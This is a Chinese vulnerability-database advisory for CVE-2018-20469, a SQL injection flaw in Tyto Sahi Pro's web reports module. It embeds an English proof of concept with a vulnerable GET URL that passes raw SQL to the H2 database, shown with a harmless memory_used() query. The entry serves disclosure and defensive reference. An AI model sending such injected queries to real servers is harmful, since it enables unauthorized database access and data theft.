Tyto Sahi Pro SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1633825 漏洞类型 SQL注入
发布时间 2019-06-19 更新时间 2019-07-02
CVE编号 CVE-2018-20469 CNNVD-ID CNNVD-201906-639
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019060122
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201906-639
|漏洞详情
Tyto Software Sahi Pro是印度Tyto Software公司的一套自动化测试工具。 Tyto Software Sahi Pro 8.0.0及之前版本中存在SQL注入漏洞。该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令。
|漏洞EXP
# Exploit Title: Sahi pro ( <= 8.x ) sensitive information disclosure by SQL injection.
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20469
# POC-URL : https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/

Description :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A parameter in the web reports module is vulnerable to SQL injection. This can be exploited to inject SQL queries and run standard h2 system functions.


POC :

vulnerable URL :

''' replace the ip and port of the remote sahi pro server machine '''


# here sql query is passed directly as part of GET request which can be modified to run standard h2 database functions. in the following POC , "memory_used()" function is injected , which is reflected in "status" column of reports page.

http://<ip>:<port>/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT memory_used() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS
|参考资料

来源:barriersec.com

链接:https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/


来源:nvd.nist.gov

链接:https://nvd.nist.gov/vuln/detail/CVE-2018-20469